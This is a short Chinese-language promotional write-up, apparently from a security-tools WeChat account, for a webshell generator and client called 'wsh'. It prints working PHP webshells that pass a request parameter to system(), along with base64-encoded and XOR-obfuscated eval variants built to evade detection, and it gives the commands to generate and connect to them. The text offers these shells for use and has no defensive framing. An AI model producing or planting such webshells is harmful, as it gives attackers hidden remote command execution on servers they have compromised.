该客户端具有命令历史记录、日志记录，并且可以配置为使用表单/按钮与先前部署的标准 webshell 交互。生成器在 php、asp 和 jsp 中创建 webshell。它们是用随机变量生成的，因此每个变量都有一个唯一的哈希值。它们可以配置白名单、密码，并允许通过自定义标头和参数发送命令。欢迎关注公众号web安全工具库，生成器和客户端可以通过命令行标志或配置文件进行配置，以允许保存适合您的设置，而无需执行我所谓的“--help”舞蹈。配置后，客户端和生成器使用相同的配置文件。

$ wsh generate php --param cmd --no-file -o shell.phpCreated shell at shell.php.$ wsh 127.0.0.1:8080/shell.php --param cmd
<?php  $MfOb = $_REQUEST['cmd'];  $MfOb = trim($MfOb);  system($MfOb);  die;?>

$ wsh generate php --no-file --header user-agent  -o shell.phpCreated shell at shell.php.
$ wsh 127.0.0.1:8080/shell.php --header user-agent

$ wsh g php --param cmd --no-file --base64<?phpeval(base64_decode('JEZISENTPSRfUkVRVUVTVFsnY21kJ107JEZISENTPXRyaW0oJEZISENTKTtzeXN0ZW0oJEZISENTKTtkaWU7'))?>
$ wsh g php --param cmd --no-file --xor-key S3cr3tK3y --xor-param X-Key<?php$KHhx = $_REQUEST["X-Key"];$LqC = base64_decode("d2MPPUdJb2wrFmI2N2AgEBQaPldELwhQG182Jw4XAFoZYxcpP3wXWwgHMkANNl5LVmMYBEdQaFcKFwg=");$oooqt = "";for($YpuI=0; $YpuI<strlen($LqC); ) {  for($cMq=0; ($cMq<strlen($KHhx) && $YpuI<strlen($LqC)); $cMq++,$YpuI++) {    $oooqt .= $LqC{ $YpuI } ^ $KHhx{ $cMq };  }}eval($oooqt);?>

· 推 荐 阅 读 ·